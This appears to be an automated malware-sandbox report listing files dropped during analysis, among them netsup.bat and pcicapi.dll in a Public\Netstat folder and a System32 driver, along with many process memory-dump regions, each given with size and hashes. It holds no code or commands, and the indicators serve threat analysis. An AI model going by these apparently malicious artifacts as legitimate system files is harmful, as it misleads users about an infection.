2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Public\Netstat\netsup.bat

Filesize
161B

MD5
bb8869e7e80234a30633bd0301b57deb

SHA1
13790ad2bc012431324093b16c19b1e532c94e63

SHA256
d6f183097bf12a7f68632efecc6dc7ddac16002839229502b32cd40826dd472c

SHA512
7d043054fcde4c73e9e5988330a94a737360adf1b0d806efc4660d1e336e27a66149494b611969a29b873d76bc4b1278b47d1efc27a9c7bd50a1f8cdf346937a

Download Submit
C:\Users\Public\Netstat\pcicapi.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Windows\System32\drivers\klupd_49ef861ca_klbg.sys

Filesize
199KB

MD5
424b93cb92e15e3f41e3dd01a6a8e9cc

SHA1
2897ab04f69a92218bfac78f085456f98a18bdd3

SHA256
ccb99a2eeb80cd74cc58691e7af7fce3264b941aea3d777d9e4a950b9e70b82e

SHA512
15e984a761d873eef0ab50f8292fbba771208ff97a57b131441666c6628936c29f8b1f0e04ef8e880f33ef6fccebd20db882997ca3504c9e5ea1db781b9ffb0f

Download Submit
memory/1784-273-0x00000000009D0000-0x0000000000E94000-memory.dmp

Filesize
4.8MB

Download
memory/1784-272-0x00000000009D0000-0x0000000000E94000-memory.dmp

Filesize
4.8MB

Download
memory/2108-225-0x0000000006320000-0x000000000636C000-memory.dmp

Filesize
304KB

Download
memory/2108-223-0x0000000005A50000-0x0000000005DA4000-memory.dmp

Filesize
3.3MB

Download
memory/2284-428-0x00007FFEF9F90000-0x00007FFEF9FAA000-memory.dmp

Filesize
104KB

Download
memory/2284-427-0x00007FFEE6BB0000-0x00007FFEE6BDD000-memory.dmp

Filesize
180KB

Download
memory/2284-425-0x00007FFEE4290000-0x00007FFEE4955000-memory.dmp

Filesize
6.8MB

Download
memory/2284-424-0x00007FFEE6BB0000-0x00007FFEE6BDD000-memory.dmp

Filesize
180KB

Download
memory/2284-423-0x00007FFEF9F90000-0x00007FFEF9FAA000-memory.dmp

Filesize
104KB

Download
memory/2284-422-0x00007FFEE4290000-0x00007FFEE4955000-memory.dmp

Filesize
6.8MB

Download
memory/2628-261-0x00000000061A0000-0x00000000064F4000-memory.dmp

Filesize
3.3MB

Download
memory/2652-45-0x0000000000F50000-0x0000000001414000-memory.dmp

Filesize
4.8MB

Download
memory/2652-32-0x0000000000F50000-0x0000000001414000-memory.dmp

Filesize
4.8MB

Download
memory/2940-1481-0x0000000000950000-0x0000000000AD8000-memory.dmp

Filesize
1.5MB

Download
memory/2940-1480-0x0000000000950000-0x0000000000AD8000-memory.dmp

Filesize
1.5MB

Download
memory/2940-1477-0x0000000000950000-0x0000000000AD8000-memory.dmp

Filesize
1.5MB

Download
memory/2940-1476-0x0000000000950000-0x0000000000AD8000-memory.dmp

Filesize
1.5MB

Download
memory/2940-1474-0x0000000140000000-0x000000014043F000-memory.dmp

Filesize
4.2MB

Download
memory/2940-1483-0x0000000000950000-0x0000000000AD8000-memory.dmp

Filesize
1.5MB

Download
memory/2940-1482-0x0000000000950000-0x0000000000AD8000-memory.dmp

Filesize
1.5MB

Download
memory/2940-1479-0x0000000000950000-0x0000000000AD8000-memory.dmp

Filesize
1.5MB

Download
memory/2940-1478-0x0000000000950000-0x0000000000AD8000-memory.dmp

Filesize
1.5MB

Download
memory/2980-78-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/2980-1314-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/2980-429-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/2980-287-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/2980-47-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/2980-238-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/2980-79-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/2980-715-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/2980-160-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/3668-213-0x0000000000700000-0x0000000000BC4000-memory.dmp

Filesize
4.8MB

Download
memory/3668-210-0x0000000000700000-0x0000000000BC4000-memory.dmp

Filesize
4.8MB

Download
memory/4480-21847-0x0000000000490000-0x000000000079A000-memory.dmp

Filesize
3.0MB

Download
memory/4480-21844-0x0000000000490000-0x000000000079A000-memory.dmp

Filesize
3.0MB

Download
memory/4836-1219-0x0000000000400000-0x000000000069A000-memory.dmp

Filesize
2.6MB

Download
memory/4972-181-0x0000000005B70000-0x0000000005EC4000-memory.dmp

Filesize
3.3MB

Download
memory/4972-192-0x0000000006770000-0x00000000067BC000-memory.dmp

Filesize
304KB

Download
memory/5220-1251-0x000002E2E3020000-0x000002E2E3042000-memory.dmp

Filesize
136KB

Download
memory/5292-1230-0x000002600DEA0000-0x000002600DF11000-memory.dmp

Filesize
452KB

Download
memory/5292-1234-0x000002600DEA0000-0x000002600DF11000-memory.dmp

Filesize
452KB

Download
memory/5292-1233-0x000002600DEA0000-0x000002600DF11000-memory.dmp

Filesize
452KB

Download
memory/5292-1224-0x000002600DEA0000-0x000002600DF11000-memory.dmp

Filesize
452KB

Download
memory/5292-1222-0x0000000000370000-0x0000000000372000-memory.dmp

Filesize
8KB

Download
memory/5332-159-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/5332-158-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/5460-96-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/5460-88-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/5548-1387-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/5548-1363-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/5784-358-0x00007FFEF9F90000-0x00007FFEF9FAA000-memory.dmp

Filesize
104KB

Download
memory/5784-359-0x00007FFEE6BB0000-0x00007FFEE6BDD000-memory.dmp

Filesize
180KB

Download
memory/5784-357-0x00007FFEE4290000-0x00007FFEE4955000-memory.dmp

Filesize
6.8MB

Download
memory/5784-355-0x00007FFEF9F90000-0x00007FFEF9FAA000-memory.dmp

Filesize
104KB

Download
memory/5784-346-0x00007FFEE4290000-0x00007FFEE4955000-memory.dmp

Filesize
6.8MB

Download
memory/5784-356-0x00007FFEE6BB0000-0x00007FFEE6BDD000-memory.dmp

Filesize
180KB

Download
memory/6096-18-0x0000000006500000-0x000000000654C000-memory.dmp

Filesize
304KB

Download
memory/6096-2-0x0000000002E80000-0x0000000002EB6000-memory.dmp

Filesize
216KB

Download
memory/6096-24-0x00000000087D0000-0x0000000008D74000-memory.dmp

Filesize
5.6MB

Download
memory/6096-22-0x0000000007A00000-0x0000000007A96000-memory.dmp

Filesize
600KB

Download
memory/6096-23-0x0000000007960000-0x0000000007982000-memory.dmp

Filesize
136KB

Download
memory/6096-20-0x00000000069A0000-0x00000000069BA000-memory.dmp

Filesize
104KB

Download
memory/6096-19-0x0000000007BA0000-0x000000000821A000-memory.dmp

Filesize
6.5MB

Download
memory/6096-3-0x0000000005600000-0x0000000005C28000-memory.dmp

Filesize
6.2MB

Download
memory/6096-17-0x0000000006450000-0x000000000646E000-memory.dmp

Filesize
120KB

Download
memory/6096-16-0x0000000005F80000-0x00000000062D4000-memory.dmp

Filesize
3.3MB

Download
memory/6096-4-0x00000000055C0000-0x00000000055E2000-memory.dmp

Filesize
136KB

Download
memory/6096-5-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/6096-6-0x0000000005E10000-0x0000000005E76000-memory.dmp

Filesize
408KB

Download
memory/7340-21862-0x00000000006B0000-0x0000000000D50000-memory.dmp

Filesize
6.6MB

Download
memory/7340-21860-0x00000000006B0000-0x0000000000D50000-memory.dmp

Filesize
6.6MB

Download
memory/9204-22653-0x00000000003F0000-0x00000000008AA000-memory.dmp

Filesize
4.7MB

Download
memory/9720-22660-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/9720-22664-0x0000000000A50000-0x0000000000F14000-memory.dmp

Filesize
4.8MB

Download
memory/12444-22255-0x00000000009C0000-0x0000000000E12000-memory.dmp

Filesize
4.3MB

Download
memory/12444-22256-0x00000000009C0000-0x0000000000E12000-memory.dmp

Filesize
4.3MB

Download
memory/12444-22193-0x00000000009C0000-0x0000000000E12000-memory.dmp

Filesize
4.3MB

Download
memory/12444-22659-0x00000000009C0000-0x0000000000E12000-memory.dmp

Filesize
4.3MB

Download